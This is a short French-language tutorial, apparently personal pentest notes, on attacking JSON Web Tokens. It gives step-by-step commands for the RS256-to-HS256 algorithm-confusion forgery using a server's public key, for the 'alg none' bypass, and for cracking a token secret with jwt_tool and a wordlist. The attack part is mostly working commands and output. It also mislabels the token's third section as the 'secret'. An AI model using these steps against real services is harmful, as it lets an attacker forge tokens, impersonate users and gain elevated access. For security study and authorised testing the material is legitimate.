Vulnérabilité dans les tokens JWT

Structure d’un token

header.payload.secret

Les sections sont encodés en base64

Structure d’un header

{“typ”:”JWT”,”alg”:”RS256″}

Si on a la clé publique du serveur, on peut réencoder le token

-Changer l’algorithme dans le header par HS256 (HS256 est symétrique, rs256 est asymétrique)
cat a.pem | xxd – p | tr -d “\\n” (convertit la clé publique du serveur “a.pem” au format hexadécimal pour utilisation avec openssl à l’étape suivante)

Générer une signature HMAC avec notre clé générée précédemment et le token édité (les deux premières sections)
echo -n “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ” | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0

Convertit la signature en base64
$ python2 -c “exec(\”import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex(‘8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0’)).replace(‘=’,”)\”)”

Ajouter la signature
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]

Il est plus facile d’utiliser l’outil TokenBreaker

Autre exploit
Changer le type d’encryption à None

le formation du token est maintenant header.payload. (le dernier point est nécessaire)

Attention!

Certains serveurs ne reconnaissent pas les parties du token si on ne met pas de saut à la ligne après avoir modifié le contenu (à la suite du }). S’applique au header ainsi qu’au payload

Tenter de trouver la clé (secret) d’un token. Il est possible aussi de modifier et resigner un token avec cet outil
python3 jwt_tool.py letoken -d /usr/share/wordlists/r0ckyou.txt -C

Leave a Reply